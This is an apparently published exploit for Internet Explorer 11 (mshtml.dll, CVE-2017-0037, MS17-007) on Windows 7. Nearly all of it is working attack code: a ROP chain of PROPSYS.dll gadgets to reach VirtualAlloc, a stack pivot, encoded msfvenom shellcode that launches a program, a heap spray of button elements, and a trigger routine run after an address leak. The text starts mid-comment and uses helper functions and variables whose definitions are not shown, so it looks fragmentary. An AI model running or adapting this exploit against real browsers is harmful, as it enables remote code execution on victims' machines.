# Exploit Title: Microsoft Internet Explorer - 'mshtml.dll' Remote
Code Execution (MS17-007)
# Google Dork: NA
# Date: 24/7/2017
# Exploit Author: Mohamed Hamdy - Nsecurity
# Vendor Homepage: https://www.microsoft.com
# Version: Microsoft Internet Explorer 11
# Tested on: Windows 7 SP1 x86
# CVE : CVE-2017-0037
changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
*/
// Move ESP to the VirtualAlloc ROP chain
var stack_shift_rop = unescape(
writeu(0,235802130) +
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x0e0e1258) +
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
writeu(0,0x41414141) +
writeu(0,0x41414141) +
"");
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
// ~2854 bytes max
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
"");
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
var fix1 = 0x15c;
var fixop = unescape("%u0e0e%u0e0e");
var offset_to_stack_shift = 0x6f7;
var offset_to_xchg = 0xd2+2;
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,(0x7fb00-2)/2);
hso.appendChild(obj);
}
}
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(0,2);
var leaked_addr = readu(il);
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
base_leaked_addr = base_leaked_addr.toString(16);
spray();
boom();
}, 1000); // can be reduced